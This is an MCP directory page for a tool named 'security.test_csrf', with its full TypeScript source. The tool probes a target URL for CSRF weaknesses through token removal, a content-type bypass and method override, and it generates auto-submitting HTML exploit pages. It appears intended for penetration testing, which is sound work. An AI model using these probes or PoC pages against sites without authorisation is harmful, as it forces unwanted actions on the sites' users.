Skip to main content
Glama

security.test_csrf

Test web applications for Cross-Site Request Forgery vulnerabilities using multiple techniques including token bypass and method manipulation to identify security weaknesses.

Instructions

Test for CSRF vulnerabilities using advanced techniques

Input Schema

TableJSON Schema
NameRequiredDescriptionDefault
urlYesTarget URL
methodNoPOST
paramsNoParameters to test
testTechniquesNoTechniques to test (basic, content-type, method, token-bypass, referrer)

Implementation Reference

  • Main handler function for 'security.test_csrf' tool. Performs multiple CSRF vulnerability tests (basic, content-type bypass, method override, token bypass) using axios requests, determines vulnerability, saves results to database, generates PoC if vulnerable, and returns formatted result.
    async ({ url, method = 'POST', params = {}, testTechniques = ['basic'] }: any): Promise<ToolResult> => { try { const results: any[] = []; let vulnerable = false; let bestTechnique = ''; // Test 1: Basic CSRF if (testTechniques.includes('basic')) { try { const response = await axios({ method, url, data: params, headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable) { vulnerable = true; bestTechnique = 'basic'; } results.push({ technique: 'basic', vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: 'basic', vulnerable: false, error: error.message, }); } } // Test 2: Content-Type bypass (text/plain) if (testTechniques.includes('content-type')) { try { const response = await axios({ method, url, data: JSON.stringify(params), headers: { 'Content-Type': 'text/plain', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable && !vulnerable) { vulnerable = true; bestTechnique = 'content-type'; } results.push({ technique: 'content-type', vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: 'content-type', vulnerable: false, error: error.message, }); } } // Test 3: Method override if (testTechniques.includes('method')) { try { const response = await axios({ method: 'POST', url, data: { ...params, _method: method }, headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable && !vulnerable) { vulnerable = true; bestTechnique = 'method-override'; } results.push({ technique: 'method-override', vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: 'method-override', vulnerable: false, error: error.message, }); } } // Test 4: Token bypass (remove, blank, random) if (testTechniques.includes('token-bypass')) { const tokenTests = [ { name: 'no-token', params: { ...params } }, { name: 'blank-token', params: { ...params, csrf_token: '', anti_csrf: '' } }, { name: 'random-token', params: { ...params, csrf_token: 'random123', anti_csrf: 'random123' } }, ]; for (const test of tokenTests) { try { const response = await axios({ method, url, data: test.params, headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable && !vulnerable) { vulnerable = true; bestTechnique = `token-bypass-${test.name}`; } results.push({ technique: `token-bypass-${test.name}`, vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: `token-bypass-${test.name}`, vulnerable: false, error: error.message, }); } } } const score = vulnerable ? 8 : 3; await saveTestResult( url, 'csrf_test', vulnerable, { results, bestTechnique }, undefined, score, JSON.stringify(params), JSON.stringify(results) ); if (vulnerable) { await saveFinding({ target: url, type: 'CSRF', severity: 'high', description: `CSRF vulnerability found using ${bestTechnique} technique`, payload: JSON.stringify(params), response: JSON.stringify(results), timestamp: new Date(), score: 8, }); } return formatToolResult(true, { vulnerable, bestTechnique, results, poc: vulnerable ? generateCSRFPoC(url, method, params, bestTechnique) : null, }); } catch (error: any) { await saveTestResult(url, 'csrf_test', false, null, error.message, 0); return formatToolResult(false, null, error.message); } }
  • Input schema for the tool defining parameters: url (required), method (default POST), params (object), testTechniques (array, defaults to ['basic']).
    { description: 'Test for CSRF vulnerabilities using advanced techniques', inputSchema: { type: 'object', properties: { url: { type: 'string', description: 'Target URL' }, method: { type: 'string', enum: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'], default: 'POST' }, params: { type: 'object', description: 'Parameters to test' }, testTechniques: { type: 'array', items: { type: 'string' }, description: 'Techniques to test (basic, content-type, method, token-bypass, referrer)', default: ['basic', 'content-type', 'method', 'token-bypass'], }, }, required: ['url'], },
  • Registers the 'security.test_csrf' tool on the MCP server using server.tool(), including description, inputSchema, and handler function.
    server.tool( 'security.test_csrf', { description: 'Test for CSRF vulnerabilities using advanced techniques', inputSchema: { type: 'object', properties: { url: { type: 'string', description: 'Target URL' }, method: { type: 'string', enum: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'], default: 'POST' }, params: { type: 'object', description: 'Parameters to test' }, testTechniques: { type: 'array', items: { type: 'string' }, description: 'Techniques to test (basic, content-type, method, token-bypass, referrer)', default: ['basic', 'content-type', 'method', 'token-bypass'], }, }, required: ['url'], }, }, async ({ url, method = 'POST', params = {}, testTechniques = ['basic'] }: any): Promise<ToolResult> => { try { const results: any[] = []; let vulnerable = false; let bestTechnique = ''; // Test 1: Basic CSRF if (testTechniques.includes('basic')) { try { const response = await axios({ method, url, data: params, headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable) { vulnerable = true; bestTechnique = 'basic'; } results.push({ technique: 'basic', vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: 'basic', vulnerable: false, error: error.message, }); } } // Test 2: Content-Type bypass (text/plain) if (testTechniques.includes('content-type')) { try { const response = await axios({ method, url, data: JSON.stringify(params), headers: { 'Content-Type': 'text/plain', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable && !vulnerable) { vulnerable = true; bestTechnique = 'content-type'; } results.push({ technique: 'content-type', vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: 'content-type', vulnerable: false, error: error.message, }); } } // Test 3: Method override if (testTechniques.includes('method')) { try { const response = await axios({ method: 'POST', url, data: { ...params, _method: method }, headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable && !vulnerable) { vulnerable = true; bestTechnique = 'method-override'; } results.push({ technique: 'method-override', vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: 'method-override', vulnerable: false, error: error.message, }); } } // Test 4: Token bypass (remove, blank, random) if (testTechniques.includes('token-bypass')) { const tokenTests = [ { name: 'no-token', params: { ...params } }, { name: 'blank-token', params: { ...params, csrf_token: '', anti_csrf: '' } }, { name: 'random-token', params: { ...params, csrf_token: 'random123', anti_csrf: 'random123' } }, ]; for (const test of tokenTests) { try { const response = await axios({ method, url, data: test.params, headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, validateStatus: () => true, }); const isVulnerable = response.status < 400 && !response.data?.error; if (isVulnerable && !vulnerable) { vulnerable = true; bestTechnique = `token-bypass-${test.name}`; } results.push({ technique: `token-bypass-${test.name}`, vulnerable: isVulnerable, status: response.status, }); } catch (error: any) { results.push({ technique: `token-bypass-${test.name}`, vulnerable: false, error: error.message, }); } } } const score = vulnerable ? 8 : 3; await saveTestResult( url, 'csrf_test', vulnerable, { results, bestTechnique }, undefined, score, JSON.stringify(params), JSON.stringify(results) ); if (vulnerable) { await saveFinding({ target: url, type: 'CSRF', severity: 'high', description: `CSRF vulnerability found using ${bestTechnique} technique`, payload: JSON.stringify(params), response: JSON.stringify(results), timestamp: new Date(), score: 8, }); } return formatToolResult(true, { vulnerable, bestTechnique, results, poc: vulnerable ? generateCSRFPoC(url, method, params, bestTechnique) : null, }); } catch (error: any) { await saveTestResult(url, 'csrf_test', false, null, error.message, 0); return formatToolResult(false, null, error.message); } } );
  • src/index.ts:38-38 (registration)
    Calls registerCSRFTools(server) to register the CSRF tools, including security.test_csrf, during server initialization.
    registerCSRFTools(server);
  • Helper function generateCSRFPoC that creates an HTML proof-of-concept page for exploiting the discovered CSRF vulnerability, customized based on the bypass technique used.
    function generateCSRFPoC( url: string, method: string, params: any, technique: string ): string { const formInputs = Object.entries(params) .map(([key, value]) => `<input type="hidden" name="${key}" value="${value}"/>`) .join('\n '); if (technique.includes('content-type')) { return `<!DOCTYPE html> <html> <body> <form action="${url}" method="POST" enctype="text/plain"> <input type="hidden" name='${JSON.stringify(params).slice(0, -1)}' value='}'/> <input type="submit" value="Submit request"/> </form> <script>history.pushState('','','/');document.forms[0].submit();</script> </body> </html>`; } if (technique.includes('referrer')) { return `<!DOCTYPE html> <html> <head> <meta name="referrer" content="no-referrer"> </head> <body> <form action="${url}" method="${method}"> ${formInputs} <input type="submit" value="Submit request"/> </form> <script>history.pushState('','','/');document.forms[0].submit();</script> </body> </html>`; } return `<!DOCTYPE html> <html> <body> <h1>CSRF Proof of Concept</h1> <form action="${url}" method="${method}"> ${formInputs} <input type="submit" value="Submit Request"> </form> <script>document.forms[0].submit();</script> </body> </html>`; }

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/telmon95/VulneraMCP'

If you have feedback or need assistance with the MCP directory API, please join our Discord server